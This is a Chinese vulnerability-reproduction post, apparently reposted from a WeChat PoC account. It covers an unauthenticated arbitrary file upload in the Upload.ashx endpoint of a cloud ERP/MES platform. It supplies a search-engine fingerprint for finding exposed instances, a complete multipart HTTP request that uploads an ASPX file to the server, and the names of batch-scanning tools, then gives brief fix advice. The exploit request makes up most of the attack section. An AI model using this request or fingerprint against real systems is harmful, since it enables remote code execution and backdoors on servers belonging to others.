0x01 产品简介
某天云智慧平台系统，作为方天科技公司的重要产品，是一款面向企业全流程的业务管理功能平台，集成了ERP（企业资源规划）、MES（车间执行系统）、APS（先进规划与排程）、PLM（产品生命周期）、CRM（客户关系管理）等多种功能模块，旨在通过云端服务为企业提供数字化、智能化的管理解决方案。
0x02 漏洞概述
某天云智慧平台系统 Upload.ashx 接口处存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
0x03 搜索引擎
body="AjaxMethods.asmx/GetCompanyItem"
0x04 漏洞复现
POST /Upload.ashx HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTXConnection: close------WebKitFormBoundarySl8siBbmVicABvTXContent-Disposition: form-data; name="file"; filename="qwe.aspx"Content-Type: image/jpeg<%@Page Language="C#"%><%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%>------WebKitFormBoundarySl8siBbmVicABvTX--
UploadFile/CustomerFile/返回的路径名
0x05 工具批量
nuclei
afrog
xray
0x06 修复建议
1、关闭互联网暴露面或接口设置访问权限
2、及时升级到安全版本
原文始发于微信公众号（nday POC）：【漏洞复现】某天云智慧平台系统 Upload.ashx 任意文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论